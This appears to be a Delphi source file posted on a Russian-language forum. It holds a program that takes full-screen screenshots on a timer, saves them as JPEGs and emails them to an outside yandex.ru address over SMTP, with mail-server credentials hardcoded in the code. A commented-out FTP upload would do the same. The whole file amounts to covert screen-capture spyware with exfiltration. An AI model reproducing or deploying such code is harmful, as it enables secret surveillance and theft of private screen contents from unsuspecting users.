Код: Выбрать все
unit FTP;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, JPEG, ImgList, StdCtrls, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, IdFTP, IdMessageClient, IdPOP3, IdSMTP, IdMessage, IdAntiFreezeBase, IdAntiFreeze;
type
TForm1 = class(TForm)
Timer1: TTimer;
IdFTP1: TIdFTP;
IdPOP31: TIdPOP3;
IdSMTP1: TIdSMTP;
Button1: TButton;
IdMessage1: TIdMessage;
IdAntiFreeze1: TIdAntiFreeze;
Image1: TImage;
Timer2: TTimer;
procedure Timer1Timer(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Timer1Timer(Sender: TObject);
var
att:TIdAttachment;
Ato:string;
Time: TDateTime;
Bmp: TBitmap;
TmpCanvas: TCanvas;
CRect: TRect;
jpgImg: TJPEGImage;
begin
Time := now();
TmpCanvas := TCanvas.Create;
jpgImg := TJPEGImage.Create;
TmpCanvas.Handle := GetDC(0);
Bmp:= TBitmap.Create;
Bmp.Width := Screen.Width;
Bmp.Height := Screen.Height;
Bmp.PixelFormat := pf24bit;
CRect := Rect(0,0,Screen.Width -1, Screen.Height -1);
BitBlt(Bmp.Canvas.Handle,0,0,Screen.Width,Screen.Height,GetDc(0), 0, 0,SRCCOPY);
image1.Picture.Assign(Bmp);
Bmp.Canvas.CopyRect(CRect,TmpCanvas,CRect);
////if not DrawIcon(Bmp.Canvas.Handle,Mouse.CursorPos.X,Mouse.CursorPos.Y,GetCursor) then
jpgImg.Assign(Bmp);
jpgImg.CompressionQuality:=30;
jpgImg.SaveToFile('screen657665'+FormatDateTime('hh_mm_ss',Time)+'.jpg');
TmpCanvas.Free;
Bmp.Free;
jpgImg.Free;
idSmtp1.Host:='mail.hostland.ru';
idSmtp1.Port:=25;
idSmtp1.Username:='logs@gansta-paradise.com';
idSmtp1.Password:='123412345';
idMessage1.Body.Text:='fgdfgdfgdfgfgsdfg32423423';
idMessage1.From.Text:='logs@gansta-paradise.com';
idMessage1.Recipients.EMailAddresses:='ooo-ses@yandex.ru';
idMessage1.Subject:='te';
TIdAttachment.Create(Form1.idMessage1.MessageParts,'screen657665'+FormatDateTime('hh_mm_ss',Time)+'.jpg');
idSmtp1.Disconnect();
idSmtp1.Connect();
if idSmtp1.Connected=true then
begin
idSmtp1.Send(idmessage1);
idSmtp1.Disconnect();
////ShowMessage('ushlo!');
end
else
ShowMessage('PIDR VKLUCHI SET`!');
end;
/////IdFTP1.Put('screen657665.jpg','images/screen'+FormatDateTime('hh_mm_ss',Time)+'.jpg',true);
procedure TForm1.Button1Click(Sender: TObject);
begin
idSmtp1.Host:='mail.hostland.ru';
idSmtp1.Port:=25;
idSmtp1.Username:='logs@gansta-paradise.com';
idSmtp1.Password:='123412345';
idMessage1.Body.Text:='fgdfgdfgdfgfgsdfg32423423';
idMessage1.From.Text:='logs@gansta-paradise.com';
idMessage1.Recipients.EMailAddresses:='ooo-ses@yandex.ru';
idMessage1.Subject:='te';
TIdAttachment.Create(Form1.idMessage1.MessageParts,'E:/screen.jpg');
idSmtp1.Connect();
if idSmtp1.Connected=true then
idSmtp1.Send(idmessage1);
idSmtp1.Disconnect();
////ShowMessage('ushlo!');
end;
end.